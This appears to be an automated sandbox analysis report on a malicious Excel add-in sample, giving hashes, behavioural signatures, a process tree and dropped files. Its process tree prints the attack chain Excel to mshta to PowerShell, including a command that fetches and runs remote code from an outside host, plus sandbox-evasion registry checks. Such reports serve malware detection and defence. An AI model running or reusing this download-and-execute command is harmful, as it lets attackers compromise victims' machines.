Analysis
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max time kernel
129s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 00:05
Static task
static1
Behavioral task
behavioral1
Sample
66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36.xll
Resource
win11-20240426-en
General
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Target
66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36.xll
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Size
12KB
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MD5
6800bdb8e0bfd0d57762b346fdf5c03e
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SHA1
9835f0143f70fc3afe57338da5996d9717d10cd9
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SHA256
66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36
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SHA512
ef4f8958b4e9e5dd3cce884e37de60e7f4765b7801fe114a7a378ccf4deaaba251eff10ff4e7cfb6cae93e89082c8ea6eaf4c998cb9f8b0b2bfb814bb5f93827
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SSDEEP
192:3L29RBzDzeobchBj8JON1ON8ruvrEPEjr7Aha:b29jnbcvYJOSyuvvr7Ca
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4092 4528 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 35 1364 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 4528 EXCEL.EXE 4528 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4528 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1364 powershell.exe 1364 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1364 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 4528 EXCEL.EXE 4528 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 4528 EXCEL.EXE 4528 EXCEL.EXE 4528 EXCEL.EXE 4528 EXCEL.EXE 4528 EXCEL.EXE 4528 EXCEL.EXE 4528 EXCEL.EXE 4528 EXCEL.EXE 4528 EXCEL.EXE 4528 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 4528 wrote to memory of 4092 4528 EXCEL.EXE mshta.exe PID 4528 wrote to memory of 4092 4528 EXCEL.EXE mshta.exe PID 4528 wrote to memory of 4092 4528 EXCEL.EXE mshta.exe PID 4092 wrote to memory of 1364 4092 mshta.exe powershell.exe PID 4092 wrote to memory of 1364 4092 mshta.exe powershell.exe PID 4092 wrote to memory of 1364 4092 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4528 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1364
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36.xll
Filesize12KB
MD56800bdb8e0bfd0d57762b346fdf5c03e
SHA19835f0143f70fc3afe57338da5996d9717d10cd9
SHA25666085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36
SHA512ef4f8958b4e9e5dd3cce884e37de60e7f4765b7801fe114a7a378ccf4deaaba251eff10ff4e7cfb6cae93e89082c8ea6eaf4c998cb9f8b0b2bfb814bb5f93827
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82